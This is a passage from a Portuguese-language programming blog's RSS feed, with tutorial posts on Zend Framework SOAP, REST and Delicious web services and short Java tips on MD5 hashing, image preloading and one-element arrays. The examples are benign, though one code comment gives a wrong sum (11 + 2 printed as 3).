<p>Para obter mais informação sobre as operações que pode realizar com essa API acesse a documentação do Zend Framework:<br />
<a href="http://framework.zend.com/manual/en/zend.service.delicious.html" target="_blank">http://framework.zend.com/manual/en/zend.service.delicious.html</a></p>
<p>Segue Exemplo:</p>
<p><pre class="brush: php;">
&lt;?php

/* incluir bibliotecas */
require_once(&quot;Zend/Service/Delicious.php&quot;);

/* credenciais */
$delicious = new Zend_Service_Delicious('usuario', 'senha');

/* todos posta */
$posts = $delicious-&gt;getAllPosts();

/* filtrar somente aqueles posts que possuem tag php */
foreach ($posts-&gt;withTags(array('php')) as $post) {
    echo &quot;&lt;h3&gt;{$post-&gt;getTitle()}&lt;/h3&gt;&quot;;
    echo &quot;&lt;a href=\&quot;{$post-&gt;getUrl()}\&quot;&gt;{$post-&gt;getUrl()}&lt;/a&gt;&quot;;
}
</pre></p>
<p>Saída na tela da execução do script anterior, informando o título e o link para cada registro inserido no seu favoritos do <em>Delicious</em> com a tag <em>php</em>:</p>
<p><a href="http://dpasqua.files.wordpress.com/2012/01/screenshot069.png"><img src="http://dpasqua.files.wordpress.com/2012/01/screenshot069.png?w=544&#038;h=352" alt="" title="ScreenShot069" width="544" height="352" class="alignnone size-full wp-image-2245" /></a></p>
<p><strong>Conclusão</strong></p>
<p>O Zend Framework fornece vários outras APIs de comunicação com diversos sites. O objetivo desse artigo foi deixar você a par da existencia dessas APIs e mostrar algumas implementações simples que podem ser realizadas.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dpasqua.wordpress.com/2227/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dpasqua.wordpress.com/2227/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/dpasqua.wordpress.com/2227/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/dpasqua.wordpress.com/2227/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/dpasqua.wordpress.com/2227/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/dpasqua.wordpress.com/2227/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/dpasqua.wordpress.com/2227/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/dpasqua.wordpress.com/2227/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/dpasqua.wordpress.com/2227/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/dpasqua.wordpress.com/2227/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/dpasqua.wordpress.com/2227/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/dpasqua.wordpress.com/2227/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/dpasqua.wordpress.com/2227/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/dpasqua.wordpress.com/2227/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2227&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dpasqua.wordpress.com/2012/01/12/webservices-com-zend-framework-parte-iii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a1d7c8b046b40388a15342b7b0b2b45b?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">pasquati</media:title>
		</media:content>

		<media:content url="http://dpasqua.files.wordpress.com/2012/01/screenshot069.png" medium="image">
			<media:title type="html">ScreenShot069</media:title>
		</media:content>
	</item>
		<item>
		<title>Webservices com Zend Framework parte II</title>
		<link>http://dpasqua.wordpress.com/2012/01/07/webservices-com-zend-framework-parte-ii/</link>
		<comments>http://dpasqua.wordpress.com/2012/01/07/webservices-com-zend-framework-parte-ii/#comments</comments>
		<pubDate>Sat, 07 Jan 2012 16:51:46 +0000</pubDate>
		<dc:creator>pasquati</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Zend Framework]]></category>
		<category><![CDATA[zend framework]]></category>
		<category><![CDATA[webservices]]></category>

		<guid isPermaLink="false">http://dpasqua.wordpress.com/?p=2143</guid>
		<description><![CDATA[Introdução Neste segundo post vamos abordar a utilização de webservices usando o protocolo REST junto com Zend Framework. No primeiro artigo vimos como usar webservices usando o protocolo SOAP. Da mesma maneira como o SOAP, o Zend Framework disponibiliza as classes Zend_Rest_Server e Zend_Rest_Client para criar e consumir webservices REST. Veremos adiante. REST Representational State [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2143&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Introdução</strong></p>
<p>Neste segundo post vamos abordar a utilização de webservices usando o protocolo REST junto com Zend Framework. No <a href="http://wp.me/pdjRF-xT" target="_blank">primeiro artigo</a> vimos como usar webservices usando o protocolo SOAP. Da mesma maneira como o SOAP, o Zend Framework disponibiliza as classes <em>Zend_Rest_Server</em> e <em>Zend_Rest_Client</em> para criar e consumir webservices REST. Veremos adiante.</p>
<p><strong>REST</strong></p>
<p><em>Representational State Transfer</em> ou simplesmente REST é um estilo de webservice que permite a comunicação entre diferentes aplicações de forma simples. O webservice disponibiliza recursos para seus clientes, onde cada recurso esta disponibilizado em uma URL única. Toda comunicação é feita através do protocolo HTTP usando seus diferentes métodos (GET, POST, PUT, HEAD). O webservice disponibiliza o recurso (resultado da requisição) normalmente representado em forma de HTML ou XML. Essa arquitetura de comunicação é simples e de fácil implementação. Para ter uma idéia, você pode criar clientes REST sem a necessidade de uma lib específica. Combinação de <em>requisições HTTP</em> e a extensão <em>SimpleXML</em> pode ser usada para solucionar diversas situações. E no REST não existe o uso de WSDL como no SOAP.</p>
<p>Por ser mais simples e de fácil implementação em relação ao SOAP, REST é preferido na maioria das vezes pelos programadores. É utilizado em diversos lugares na Web, como Amazon, Microsoft, Twitter, Sun, MySQL entre outros.</p>
<p><strong>Zend_Rest_Server</strong></p>
<p><em>Zend_Rest_Server</em> tem o objetivo de ser um recurso completo para criação de servers REST. Vamos disponibilizar uma calculadora simples, coma soma e subtração, através de um WebService REST. Segue abaixo a implementação usando <em>Zend_Rest_Server</em> com os métodos <em>soma</em> e <em>subtrai</em>.</p>
<p>Criando o REST Server:</p>
<p><pre class="brush: php;">
&lt;?php
/* incluir libs */
require_once(&quot;Zend/Rest/Server.php&quot;);

/* instanciar servidor REST */
$rest = new Zend_Rest_Server();

/* disponibilizar classe Calculadora */
$rest-&gt;setClass('Calculadora');
$rest-&gt;handle();

/*
 * Classe Calculadora Simples
 */
class Calculadora {

        /* Soma  */
        public function soma($a, $b) {
                return $a + $b;
        }

        /* Subtrai */
        public function subtrai($a, $b) {
                return $a - $b;
        }
}
</pre></p>
<p>Veja como é simples a implementação de um Webservice REST. Podemos requisitar o webservice diretamente através de uma requisição GET. É possível implementar nosso próprio cliente REST sem a utilização de nenhuma biblioteca específica.</p>
<p>Exemplos:</p>
<p><strong>Somando 10 + 1:</strong>:</p>
<p>http://127.0.0.1/rest/server.php?method=soma&#038;a=10&#038;b=1</p>
<p><a href="http://dpasqua.files.wordpress.com/2011/12/screenshot068.png"><img src="http://dpasqua.files.wordpress.com/2011/12/screenshot068.png?w=544&#038;h=336" alt="" title="ScreenShot068" width="544" height="336" class="alignnone size-full wp-image-2184" /></a></p>
<p><strong>Subtraindo 10 &#8211; 1:</strong></p>
<p>http://127.0.0.1/rest/server.php?method=subtrai&#038;a=10&#038;b=1</p>
<p><a href="http://dpasqua.files.wordpress.com/2011/12/screenshot067.png"><img src="http://dpasqua.files.wordpress.com/2011/12/screenshot067.png?w=544&#038;h=343" alt="" title="ScreenShot067" width="544" height="343" class="alignnone size-full wp-image-2185" /></a></p>
<p>Com a utilização do <em>SimpleXML </em>do PHP é possível tratar as respostas do Webservice server de maneira simples.</p>
<p><strong>Zend_Rest_Client</strong></p>
<p>Para facilitar a criação do nosso cliente que consumirá o webservice existe o componente <em>Zend_Rest_Client</em>. Utilizar o <em>Zend_Rest_Client</em> deixa nosso código mais limpo e de fácil manutenção. Abaixo é um exemplo de cliente REST usando o Zend Framework para consumir o Webservice que criamos anteriormente.</p>
<p><pre class="brush: php;">
&lt;?php
/* incluir libs */
require_once(&quot;Zend/Rest/Client.php&quot;);

/* instanciando o client rest */
$rest = new Zend_Rest_Client(&quot;http://127.0.0.1/rest/server.php&quot;);

/* chamando o metodo soma */
echo $rest-&gt;soma(10, 5)-&gt;get(); // imprime 15

/* chamando o metodo subtrai */
echo $rest-&gt;subtrai(10, 5)-&gt;get(); //imprime 5
</pre></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dpasqua.wordpress.com/2143/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dpasqua.wordpress.com/2143/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/dpasqua.wordpress.com/2143/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/dpasqua.wordpress.com/2143/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/dpasqua.wordpress.com/2143/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/dpasqua.wordpress.com/2143/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/dpasqua.wordpress.com/2143/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/dpasqua.wordpress.com/2143/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/dpasqua.wordpress.com/2143/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/dpasqua.wordpress.com/2143/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/dpasqua.wordpress.com/2143/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/dpasqua.wordpress.com/2143/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/dpasqua.wordpress.com/2143/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/dpasqua.wordpress.com/2143/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2143&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dpasqua.wordpress.com/2012/01/07/webservices-com-zend-framework-parte-ii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a1d7c8b046b40388a15342b7b0b2b45b?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">pasquati</media:title>
		</media:content>

		<media:content url="http://dpasqua.files.wordpress.com/2011/12/screenshot068.png" medium="image">
			<media:title type="html">ScreenShot068</media:title>
		</media:content>

		<media:content url="http://dpasqua.files.wordpress.com/2011/12/screenshot067.png" medium="image">
			<media:title type="html">ScreenShot067</media:title>
		</media:content>
	</item>
		<item>
		<title>Java Tips: Gerando hash MD5</title>
		<link>http://dpasqua.wordpress.com/2012/01/02/java-tips-gerando-hash-md5/</link>
		<comments>http://dpasqua.wordpress.com/2012/01/02/java-tips-gerando-hash-md5/#comments</comments>
		<pubDate>Mon, 02 Jan 2012 23:30:23 +0000</pubDate>
		<dc:creator>pasquati</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://dpasqua.wordpress.com/?p=2197</guid>
		<description><![CDATA[Esse é uma dica bem simples de como gerar hash md5 de uma String no Java: Resultado: Hash Gerado: d24300b797dfab0df069cb6aaab442b4 Espero que possa ser útil em algum momento.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2197&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Esse é uma dica bem simples de como gerar hash md5 de uma String no Java:</p>
<p><pre class="brush: java;">
        String md5hash;
        String str = &quot;Calcular hash deste texto&quot;;
        
        MessageDigest m = null;
        try {
                m = MessageDigest.getInstance(&quot;MD5&quot;);
        } catch (NoSuchAlgorithmException e) {
                e.printStackTrace();
        }        
        
        if(m != null) {
            m.update(str.getBytes(),0,str.length());
            md5hash = new BigInteger(1, m.digest()).toString(16);

            System.out.println(&quot;Hash Gerado: &quot; + md5hash);
        }
</pre></p>
<p>Resultado:</p>
<p>Hash Gerado: d24300b797dfab0df069cb6aaab442b4</p>
<p>Espero que possa ser útil em algum momento.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dpasqua.wordpress.com/2197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dpasqua.wordpress.com/2197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/dpasqua.wordpress.com/2197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/dpasqua.wordpress.com/2197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/dpasqua.wordpress.com/2197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/dpasqua.wordpress.com/2197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/dpasqua.wordpress.com/2197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/dpasqua.wordpress.com/2197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/dpasqua.wordpress.com/2197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/dpasqua.wordpress.com/2197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/dpasqua.wordpress.com/2197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/dpasqua.wordpress.com/2197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/dpasqua.wordpress.com/2197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/dpasqua.wordpress.com/2197/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2197&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dpasqua.wordpress.com/2012/01/02/java-tips-gerando-hash-md5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a1d7c8b046b40388a15342b7b0b2b45b?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">pasquati</media:title>
		</media:content>
	</item>
		<item>
		<title>Java Tips: Preload de Imagens usando ImageIcon</title>
		<link>http://dpasqua.wordpress.com/2011/12/28/java-tips-preload-de-imagens-usando-imageicon/</link>
		<comments>http://dpasqua.wordpress.com/2011/12/28/java-tips-preload-de-imagens-usando-imageicon/#comments</comments>
		<pubDate>Wed, 28 Dec 2011 22:04:28 +0000</pubDate>
		<dc:creator>pasquati</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://dpasqua.wordpress.com/?p=2146</guid>
		<description><![CDATA[Fazer preload de imagens no Java pode parecer um tanto complicado, porém é mais simples do que você imagina, ainda mais usando a classe ImageIcon. Para começar, vamos responder a pergunta: Em quais momentos você precisa que imagens sejam totalmente carregadas antes de continuar um determinado processo ? Tive essa situação no desenvolvimento de um [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2146&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Fazer preload de imagens no Java pode parecer um tanto complicado, porém é mais simples do que você imagina, ainda mais usando a classe <em>ImageIcon</em>. Para começar, vamos responder a pergunta: Em quais momentos você precisa que imagens sejam totalmente carregadas antes de continuar um determinado processo ? Tive essa situação no desenvolvimento de um Applet no qual deve carregar imagens que estão disponíveis na Internet.</p>
<p>O construtor da classe <em>ImageIcon</em> aceita um objeto do tipo URL como parâmetro. Você pode especificar uma URL onde esta localizada a imagem desejada. Internamente, na classe ImageIcon, é realizado o preload da imagem usando MediaTracker. Dessa forma é possível monitorar o status de loading desta imagem.</p>
<p>Segue abaixo exemplo de como usar o <em>ImageIcon</em> para carregar uma imagem em uma URL e somente continuar após a imagem ter sido carregada:</p>
<p><pre class="brush: java;">
        try {
            ImageIcon image = new ImageIcon(new URL(&quot;http://www.exemplo.com.br/imagem.png&quot;));
            
            //manter o loop enquanto a imagem estiver sendo carregada
            while(image.getImageLoadStatus() == MediaTracker.LOADING);
        
            //neste momento a imagem já foi totalmente carregada
            
        } catch (MalformedURLException ex) {
            ex.printStackTrace();
        }
</pre></p>
<p>Os possíveis status do MediaTracker são: LOADING (Carregando), COMPLETE (Totalmente carregada), ERRORED (Erro ao carregar), ABORTED (Cancelada).</p>
<p>Você pode obter a imagem em um objeto do tipo <em>Image</em> facilmente:</p>
<p><pre class="brush: java;">
Image img = image.getImage();
</pre></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dpasqua.wordpress.com/2146/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dpasqua.wordpress.com/2146/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/dpasqua.wordpress.com/2146/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/dpasqua.wordpress.com/2146/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/dpasqua.wordpress.com/2146/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/dpasqua.wordpress.com/2146/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/dpasqua.wordpress.com/2146/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/dpasqua.wordpress.com/2146/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/dpasqua.wordpress.com/2146/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/dpasqua.wordpress.com/2146/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/dpasqua.wordpress.com/2146/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/dpasqua.wordpress.com/2146/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/dpasqua.wordpress.com/2146/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/dpasqua.wordpress.com/2146/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2146&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dpasqua.wordpress.com/2011/12/28/java-tips-preload-de-imagens-usando-imageicon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a1d7c8b046b40388a15342b7b0b2b45b?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">pasquati</media:title>
		</media:content>
	</item>
		<item>
		<title>Webservices com Zend Framework parte I</title>
		<link>http://dpasqua.wordpress.com/2011/12/26/webservices-com-zend-framework-parte-i/</link>
		<comments>http://dpasqua.wordpress.com/2011/12/26/webservices-com-zend-framework-parte-i/#comments</comments>
		<pubDate>Tue, 27 Dec 2011 00:00:16 +0000</pubDate>
		<dc:creator>pasquati</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Zend Framework]]></category>

		<guid isPermaLink="false">http://dpasqua.wordpress.com/?p=2101</guid>
		<description><![CDATA[Introdução Neste artigo vamos abordar a criação e utilização de webservices SOAP usando Zend Framework. Procurei dividir este artigo em 3 posts. Primeiro post vamos abordar o protocolo SOAP, no segundo post vamos abordar o protocolo REST e no terceiro post iremos abordar algumas das principais APIs de comunicação através de webservices implementados pelo Zend [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2101&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Introdução</strong></p>
<p>Neste artigo vamos abordar a criação e utilização de webservices SOAP usando Zend Framework. Procurei dividir este artigo em 3 posts. Primeiro post vamos abordar o protocolo SOAP, no segundo post vamos abordar o protocolo REST e no terceiro post iremos abordar algumas das principais APIs de comunicação através de webservices implementados pelo Zend Framework.</p>
<p><strong>SOAP</strong></p>
<p>SOAP é um protcolo escrito em XML para comunicação entre diferentes aplicações. A comunicação entre serviços usando SOAP é realizada em cima da camada HTTP. SOAP pode ser implemetando em qualquer linguagem (PHP, Java, ASP, .NET, etc.). Dessa forma criamos um canal de comunicação entre aplicações desenvolvidas em linguagens e plataformas diferentes.</p>
<p>Devido a comunicação do SOAP estar em cima da camada HTTP evita que a comunicação seja bloqueada por um firewall ou proxy pois o protocolo HTTP é liberado nas maioria das vezes.</p>
<p>Para que um cliente SOAP acesse um serviço é necessário requisitar primeiramente um arquivo denominado WSDL (Web Services Description Language). O arquivo WSDL especifica todas as funções disponíveis pelo webservice, os tipos de dados dos parâmetros entre outras informações relevantes. Quando criarmos nossos próprios webservices teremos que disponibilizar também um arquivo WSDL.</p>
<p><strong>Zend Framework</strong></p>
<p>O Zend Framework fornece ferramentas importantes para trabalhar com Webservices. Através do componente <em>Zend_Soap_Client</em> podemos consumir Webservices e com o componente <em>Zend_Soap_Server</em> podemos criar nossos próprios webservices de maneira simples e eficaz. Neste artigo vamos demonstar a utilização desses dois componentes. Vamos criar nossos próprios webservices e depois como consumí-los.</p>
<p><strong>Criando nosso Webservice SOAP</strong></p>
<p>Para criação do webservice em SOAP vamos utilizar a classe <em>Zend_Soap_Server</em>. Para que funcione corretamente nosso webservice, precisamos disponibilizar o arquivo WSDL. Apesar de ser possível trabalhar com SOAP sem a utilização de um arquivo WSDL, conhecido como modo não WSDL (non-WSDL mode), onde no PHP é possível, porém não aconselhado. A maioria das linguagens de programação exigem a utilização de um arquivo WSDL.</p>
<p>O código abaixo é responsável pela criação de nosso webservice. Vamos disponibilizar os métodos <em>soma</em> e <em>subtrai</em> através da classe <em>Calculadora</em>:</p>
<p><pre class="brush: php;">
&lt;?php
/* incluir as classes necessoarias */
require_once(&quot;Zend/Soap/Server.php&quot;);
require_once(&quot;Zend/Soap/AutoDiscover.php&quot;);

if(isset($_GET['wsdl'])) {
        /*
         * Usar o Soap AutoDiscover para criacao do WSDL de forma dinamica
         */
        $autodiscover = new Zend_Soap_AutoDiscover();
        $autodiscover-&gt;setClass('Calculadora');
        $autodiscover-&gt;handle();
} else {
        // Disponibilizar o webservice atraves do canal:
        $soap = new Zend_Soap_Server(&quot;http://127.0.0.1/soap/soap.php?wsdl&quot;);
        $soap-&gt;setClass('Calculadora');
        $soap-&gt;handle();
}

/*
 * Classe calculadora
 */
class Calculadora {

        /**
         * Realiza Soma
         * @param integer $a
         * @param integer $b
         * @return integer
         */
        public function soma($a, $b) {
                return $a + $b;
        }

        /**
         * Realiza Subtracao
         * @param integer $a
         * @param integer $b
         * @return integer
         */
        public function subtrai($a, $b) {
                return $a - $b;
        }
}
</pre></p>
<p>Pontos interssantes à observar no webservice acima:</p>
<ul>
<li><em>Zend_Soap_AutoDiscover</em> é responsável pela criação dinâmica do WSDL, poupando nosso tempo de ter que criar o WSDL na mão, que é muito trabalhoso.</li>
<li>Os blocos de comentário na classe Calculadora ajudam o AutoDiscover na criação do WSDL.</li>
</ul>
<p><strong>Criando o cliente</strong></p>
<p>Vamos criar um webservice client que irá consumir nosso webservice criado anteriormente:</p>
<p><pre class="brush: php;">
&lt;?php

/* incluir classes necessarias */
require_once(&quot;Zend/Soap/Client.php&quot;);

/* canal de chamada para webservice */
$soap = new Zend_Soap_Client(&quot;http://127.0.0.1/soap/soap.php?wsdl&quot;);
echo $soap-&gt;soma(11, 2) . PHP_EOL; // imprime 3
echo $soap-&gt;subtrai(11, 2) . PHP_EOL; //imprime 9
</pre></p>
<p>Até o próximo. Sucesso!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dpasqua.wordpress.com/2101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dpasqua.wordpress.com/2101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/dpasqua.wordpress.com/2101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/dpasqua.wordpress.com/2101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/dpasqua.wordpress.com/2101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/dpasqua.wordpress.com/2101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/dpasqua.wordpress.com/2101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/dpasqua.wordpress.com/2101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/dpasqua.wordpress.com/2101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/dpasqua.wordpress.com/2101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/dpasqua.wordpress.com/2101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/dpasqua.wordpress.com/2101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/dpasqua.wordpress.com/2101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/dpasqua.wordpress.com/2101/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2101&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dpasqua.wordpress.com/2011/12/26/webservices-com-zend-framework-parte-i/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a1d7c8b046b40388a15342b7b0b2b45b?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">pasquati</media:title>
		</media:content>
	</item>
		<item>
		<title>Java Tips: Passando tipos primitivos por referência</title>
		<link>http://dpasqua.wordpress.com/2011/12/22/java-tips-passando-tipos-primitivos-por-referencia/</link>
		<comments>http://dpasqua.wordpress.com/2011/12/22/java-tips-passando-tipos-primitivos-por-referencia/#comments</comments>
		<pubDate>Thu, 22 Dec 2011 21:56:58 +0000</pubDate>
		<dc:creator>pasquati</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://dpasqua.wordpress.com/?p=2092</guid>
		<description><![CDATA[Por padrão no Java os tipos primitivos (int,long,double,etc..) são passados por valor e não por referência. Portanto caso você altere o valor de um tipo primitivo dentro de um método, essa mudança não será visível fora da chamada do método. Por exemplo: Existem várias formas de contornar essa situação e obter o resultado desejado, como [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2092&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Por padrão no Java os tipos primitivos (int,long,double,etc..) são passados por valor e não por referência. Portanto caso você altere o valor de um tipo primitivo dentro de um método, essa mudança não será visível fora da chamada do método. Por exemplo:<br />
<pre class="brush: java;">
public void atualizaContador(int contador) {
		contador++;
}

int contador = 0;
atualizaContador(contador);

//contador agora = 0
</pre></p>
<p>Existem várias formas de contornar essa situação e obter o resultado desejado, como por exemplo, a criação de uma classe auxiliar&#8230; Porém uma maneira bem simples de resolver é criar um array com um único elemento. Arrays de tipos primitivos em java são passados como referência e não por valor:</p>
<p><pre class="brush: java;">
public void atualizaContador(int[] contador) {
		contador[0]++;
}

int[] contador = new int[1];
contador[0] = 0;
atualizaContador(contador);

//contador[0] agora = 1
</pre></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dpasqua.wordpress.com/2092/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dpasqua.wordpress.com/2092/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/dpasqua.wordpress.com/2092/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/dpasqua.wordpress.com/2092/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/dpasqua.wordpress.com/2092/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/dpasqua.wordpress.com/2092/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/dpasqua.wordpress.com/2092/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/dpasqua.wordpress.com/2092/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/dpasqua.wordpress.com/2092/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/dpasqua.wordpress.com/2092/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/dpasqua.wordpress.com/2092/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/dpasqua.wordpress.com/2092/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/dpasqua.wordpress.com/2092/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/dpasqua.wordpress.com/2092/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2092&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
